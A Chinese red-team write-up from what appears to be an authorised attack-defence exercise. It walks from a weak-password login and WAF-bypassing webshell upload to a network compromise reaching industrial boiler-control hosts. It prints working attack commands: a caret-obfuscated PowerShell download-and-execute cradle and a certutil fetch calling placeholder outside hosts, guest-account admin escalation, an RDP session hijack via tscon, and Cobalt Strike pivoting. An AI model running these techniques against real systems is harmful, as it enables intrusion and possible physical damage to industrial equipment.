前段时间参加了一次攻防演练,其中遇到了不少有意思的问题,最后也是进到了内网生产区,大体把过程写一下。前期信息收集
首先给定的目标是包括公司官网之类的互联网资产,刚开始做信息收集的时候在各种互联 网资产探测引擎上查找目标信息,尝试了各种SQL注入以及反序列化等可以简单getshell的方 式,然而并没有什么用。另外资产探测引擎一般会在每天的0点更新一次前一天发现的资 产,所以0点过后对白天搜索过的目标再检索一次可能会有意想不到的收获。对web资产直接访问会经常访问不到具体的系统,而是一些默认的中间件配置页面,有些目 标可能因为有防护设备的原因,拿爆破目录的工具一扫就被封IP,这很头疼。。。某平台弱口令
在探测引擎资产测试无果后,决定试一下用Nmap扫全端口,因为正常情况下fofa等工具很 难对某个IP做到百分之百的资产探测而且存在一定的延时性。在扫描某个IP的全端口之 后,找到了一个之前没有发现的系统,而且存在弱口令。
admin 123456通过脏字符绕waf,文件上传获取webshell
进入系统后,翻了一遍各功能发现虽然是超级管理员权限,但是系统中并没有包含员工的 敏感信息(众所周知,身份证号等的敏感信息泄露可以用来刷分)或者是其他的有用数 据,所以尝试一下对其中的搜索、上传等功能进行利用看能不能getshell。系统的安全检验禁用了直接上传jsp的方式,且大部分常见的上传绕过方式都是不可用的尝试了几处的文件上传都无法成功,要么就是可以上传,但并不返回地址也不解析,白给了属于是最后在一个“通知发放”的功能中找到了一处可用的文件上传漏洞,不过其中也是费尽一 些周折。经过多次尝试后发现,在POST数据包中给文件名添加超长的脏字符数据可以绕过文件名的 安全检验,另外配合免杀的jsp马直接获取一个administrator权限的webshell(当然这种方式也 比较常见而且有失败的可能,但是每种方法多试几次,成功的概率总会比较大一些)。Burp上传的数据包过长导致无法截全图,但是基本思路是如下这样(图片来自互联网,侵 删),即在filename后的文件名字段添加不停地添加数据,这样WAF可能为因为性能原因作 出让步,超出检查长度的内容,将不会被检查。探测一下受害主机相关信息,发现目标主机出网,但是存在杀软powershell绕过杀软.上线cs
既然现在我们有了一个webshell,那么接下来的利用思路可以选择证书下载或者powershell等 方式上线cs。
可以尝试使用证书下载尝试下载木马到服务器执行: certutil.exe -urlcache -split -f http:
很明显,在安全设备的拦截下,这种基础的证书下载也是白给powershell.exe IEX ((new-object
net.webclient).downloadstring('http://x.x.x.x/x'))
先拿powershell试试,利用其实现与远端IP进行通信,利用其传递木马执行实现肉鸡上线。其最主要优点就是无文件落地,痕迹只存在于内存进程之中,隐蔽性较强。不过正常来说 这种通过公网IP地址下载并执行木马脚本,肯定会被杀毒软件WAF等设备拦截,我们可以 通过对PowerShell语句进行改进、变换、拼接等操作,实现免杀。echo I^E^X ((new-object net.webclient).d^o^w^n^l^o^a^d^s^t^r^i^n^g('http://0.0.0.0)) | p^o^w^e^r^s^h^e^l^l -
读密码,搭建socks代理,进入内网
主机上线CS后对本机进行信息收集,发现目标为server2012服务器,无法读取明文密码,因 此选择激活guest用户net user guest /active:yes
net user guest tide@123456
net localgroup administrators guest /add
搭建socks5隧道登录guest用户,使用rdp劫持登录administrator。query user
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"
net start tide
探测内网资产
成功登录后通过在本机进行信息收集,发现远程连接的凭证信息,其它服务数据库密码等 等信息继续对内网资产进行探测,发现一些MS17010以及数十台数据库弱口令、还有一些内网web 弱口令等较多资产,这里就不一一列举了192.168.x.x mssql:sa/sa123mssql:192.168.x.x:1433:sa sa123突破到内网生产区专网
原本以为作为一个常规内网,刷几台数据库+内网web弱口令+几台SSH后就在此结束,但是 在内网资产收集过程中,通过数据库命令执行发现某台机器存在多网卡191和192段通过查看进程,发现进程中存在MODBUS协议软件进程,猜测为工控主机。因为无法连接191该段,尝试了多种方法,最终通过通过cs正向木马上线,以当前被控机作 为跳板机正向连接此191网段多网卡机器
首先生成监听器beacon-tcp,监听在17775端口然后CS生成一个stageless木马,选定刚才的新建 监听器最后运行生成的木马,并在 beacon中执行connect x.x.x.x 17775即可建立子beacon上线CS。上线cs后,尝试搭建二层socks代理进入生产专网。获取主机密码后,登录rdp,发现本机存在锅炉监控系统(图文无关)再对这台主机的内网资产进行探测,发现http://191.0.x.x user/123456 该设备为锅炉监控控制 器,处理并转发现场锅炉设备的数据(图文无关)然后通过某工控机-4 Administrator 空密码(图文无关)工控机1-Administrator 空密码(图文无关)还有几台类似机器,就不把图放上了,总的成果来说是这些总结
1、信息收集真的很重要,哪怕是一个小小的弱口令最后都可能造成严重的后果。2、不要觉得扫全端口很麻烦,这招简直屡试不爽,我经常在某个目标C段中每10个IP为一 组去挨个扫全端口,总能有一些新收获。3、免杀和绕过需要不断地积累学习,红队在进步,蓝队(设备)也在进步。